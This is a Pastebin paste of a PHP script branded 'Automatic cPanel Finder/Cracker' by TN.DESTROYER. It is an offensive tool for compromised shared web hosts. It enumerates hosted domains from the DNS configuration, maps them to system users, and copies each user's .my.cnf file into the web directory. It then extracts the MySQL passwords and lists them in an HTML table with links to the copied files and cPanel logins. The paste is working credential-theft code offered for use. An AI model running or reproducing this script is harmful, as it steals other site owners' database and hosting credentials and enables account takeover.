Advertisement
TNDESTROYER

ss

Dec 14th, 2017
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.19 KB | None | 0 0
  1. <?php
  2. @ini_set('display_errors', 0);
  3.  
  4. function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i=1) {
  5.     $ar0 = explode($marqueurDebutLien, $text);
  6.     $ar1 = explode($marqueurFinLien, $ar0[$i]);
  7.     return trim($ar1[0]);
  8. }
  9.  
  10. $d0mains = @file("/etc/named.conf");
  11. $domains = scandir("/var/named");
  12.  
  13. if($domains or $d0mains) {
  14.     $domains = scandir("/var/named");
  15.     if($domains) {
  16.         $page = "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  17.         $count = 1;
  18.         $dc = 0;
  19.         $list = scandir("/var/named");
  20.         foreach($list as $domain) {
  21.             if(strpos($domain, ".db")) {
  22.                 $domain = str_replace(".db", "", $domain);
  23.                 $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  24.                 $dirz = "/home/".$owner['name']."/.my.cnf";
  25.                 $path = getcwd();
  26.                 if(is_readable($dirz)) {
  27.                     copy($dirz, "".$path."/".$owner['name'].".txt");
  28.                     $p=file_get_contents("".$path."/".$owner['name'].".txt");
  29.                     $password = entre2v2($p, 'password="', '"');
  30.                     $page .= "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  31.                     $dc++;
  32.                 }
  33.             }
  34.         }
  35.         $total = $dc;
  36.         $page .= "</table><br><div class='result'>Total cPanel Found = '.$total.'</h3><br />";
  37.     } else {
  38.         $d0mains = @file("/etc/named.conf");
  39.         if($d0mains) {
  40.             $page = "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  41.             $count = 1;
  42.             $dc = 0;
  43.             $mck = array();
  44.             foreach($d0mains as $d0main) {
  45.                 if(@eregi('zone', $d0main)) {
  46.                     preg_match_all('#zone "(.*)"#',$d0main,$domain);
  47.                     flush();
  48.                     if(strlen(trim($domain[1][0])) >2){
  49.                         $mck[] = $domain[1][0];
  50.                     }
  51.                 }
  52.             }
  53.             $mck = array_unique($mck);
  54.             $usr = array();
  55.             $dmn = array();
  56.             foreach($mck as $o) {
  57.                 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  58.                 $usr[] = $infos['name'];
  59.                 $dmn[] = $o;
  60.             }
  61.             array_multisort($usr, $dmn);
  62.             $dt = file('/etc/passwd');
  63.             $passwd = array();
  64.             foreach($dt as $d) {
  65.                 $r = explode(':'. $d);
  66.                 if(strpos($r[5], 'home')) {
  67.                     $passwd[$r[0]] = $r[5];
  68.                 }
  69.             }
  70.             $l = 0;
  71.             $j = 1;
  72.             foreach($usr as $r) {
  73.                 $dirz = "/home/".$r."/.my.cnf";
  74.                 $path = getcwd();
  75.                 if (is_readable($dirz)) {
  76.                     copy($dirz, ''.$path.'/'.$r.'.txt');
  77.                     $p=file_get_contents(''.$path.'/'.$r.'.txt');
  78.                     $password=entre2v2($p,'password="','"');
  79.                     $page .= "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  80.                     $dc++;
  81.                     flush();
  82.                     $l=$l?0:1;
  83.                     $j++;
  84.                 }
  85.             }
  86.             $total = $dc;
  87.             $page .= "</table><br><div class='result'>Total cPanel Found = ".$total."</h3><br />"; 
  88.         }
  89.     }
  90. } else {
  91.     $page = "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  92. }
  93.  
  94.  
  95. ?>
  96.  
  97. <html>
  98.     <head>
  99.         <title>Automatic cPanel Finder/Cracker | TN.DESTROYER</title>
  100.         <meta content="text/html; charset=utf-8">
  101.         <meta name="description" content="Automatic cPanel Finder/Cracker" />
  102.         <meta name="author" content="rEd X" />
  103.         <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  104.         <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  105.         <link rel="stylesheet" type="text/css" href="http://faialahmad.me/wp-content/assets/css/1.css">
  106.     </head>
  107.     <body>
  108.         <div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">
  109.             cPanel Finder/Cracker<br />
  110.             <sub>TN.DESTROYER</sub>
  111.         </div><br/>
  112.         <center>
  113.             <?php echo $page; ?>
  114.         </center>
  115.         <br>&#169;
  116.         <font color="#FF0000">::></font> | TN.DESTROYER
  117. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement